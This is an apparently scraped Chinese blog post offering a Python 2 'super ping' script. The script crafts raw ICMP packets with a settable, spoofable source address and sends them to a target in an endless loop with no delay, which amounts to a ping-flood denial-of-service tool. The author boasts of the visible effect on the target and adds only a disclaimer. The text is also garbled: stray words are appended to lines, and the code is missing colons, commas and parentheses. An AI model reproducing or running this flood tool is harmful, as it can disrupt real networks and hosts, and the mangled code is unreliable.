python簡易版 super ping

說明藍色=命令名稱python

      淺綠=命令參數socket

      淺藍=選項ide

      紫色=目錄spa

      系統環境:CentOS  5.5  x86_64blog

      python版本:Python 2.7.3ip

代碼以下:utf-8

  
  
  
  
  1. #!/usr/bin/env python 
  2. #-*- coding:utf-8 -*- 
  3. #Author:left_left 
  4. import socket 
  5. import struct 
  6. import time 
  7. import sys 
  8.  
  9. from optparse import OptionParser 
  10.  
  11. def chksum(packet): 
  12.     sum = 0 
  13.     i = 0 
  14.     p_len = len(packet) 
  15.  
  16.     while i < p_len-1
  17.         sum = (ord(packet[i]) << 8) + ord(packet[i+1]) + sum 
  18.         i += 2 
  19.          
  20.     if p_len/2 & 1
  21.         sum += ord(packet[p_len-1]) 
  22.          
  23.     sum = (sum >> 16) + (sum & 0xffff
  24.     sum = sum + (sum >> 16
  25.     sum = sum ^ 0xffff 
  26.      
  27.     return sum 
  28.  
  29. def get_data(src_ip, dst_ip): 
  30.     try
  31.         src_bin = socket.inet_aton(src_ip) 
  32.     except socket.error, e: 
  33.         print "src address error: %s" % e 
  34.         exit(1
  35.  
  36.     try
  37.         dst_bin = socket.inet_aton(dst_ip) 
  38.     except socket.error, e: 
  39.         print "dst address error: %s" % e 
  40.         exit(1
  41.  
  42.     ip_header = struct.pack('bbHHHbbH'0x450149012736,  
  43.                             06410) + src_bin + dst_bin 
  44.     sum = chksum(ip_header) 
  45.     ip_header = struct.pack('bbHHHbbH'0x450149012736,  
  46.                             0641, socket.htons(sum)) + src_bin + dst_bin 
  47.     icmp_header = struct.pack('bbHHh'80011
  48.     sum = chksum(icmp_header) 
  49.     icmp_header = struct.pack('bbHHh'80, socket.htons(sum), 11
  50.     icmp_data = b'\x00' * 1450 
  51.  
  52.     return ip_header + icmp_header + icmp_data 
  53.  
  54. def get_opt(): 
  55.     parser = OptionParser() 
  56.     parser.add_option("-s""--src", dest="src_ip"
  57.             default=socket.gethostbyname(socket.gethostname()), 
  58.             help="src ip address."
  59.     parser.add_option("-d""--dst", dest="dst_ip"
  60.             help="dst ip address."
  61.      
  62.     (options, args) = parser.parse_args() 
  63.     return options 
  64.  
  65. def main(): 
  66.     options = get_opt() 
  67.     src_ip = options.src_ip 
  68.     dst_ip = options.dst_ip 
  69.  
  70.     try
  71.         s = socket.socket(socket.AF_INET, socket.SOCK_RAW, 1
  72.         s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1
  73.     except socket.error, e: 
  74.         print "Create socket error: %s" %e 
  75.         exit(1
  76.  
  77.     send_data = get_data(src_ip, dst_ip) 
  78.  
  79.     try
  80.         s.sendto(send_data, (dst_ip, 1)) 
  81.     except socket.error, e: 
  82.         print "dst address error: %s" % e 
  83.         exit(1
  84.      
  85.     print "Now begin super ping from %s to %s" %(src_ip, dst_ip) 
  86.     i = 1 
  87.     while 1
  88.         s.sendto(send_data, (dst_ip, 1)) 
  89.         i += 1 
  90.         if i%10000 == 0
  91.             print "%d packets sent..." % i 
  92.         #time.sleep(0.1) 
  93.  
  94. if __name__ == "__main__"
  95.     try
  96.         main() 
  97.     except KeyboardInterrupt: 
  98.         print "super ping closed..." 

效果:get

被ping機器:string

效果很明顯O(∩_∩)O~it

此腳本純屬娛樂,只提供參考,請不要用於非法行爲,做者不承擔任何法律責任。

相關文章
相關標籤/搜索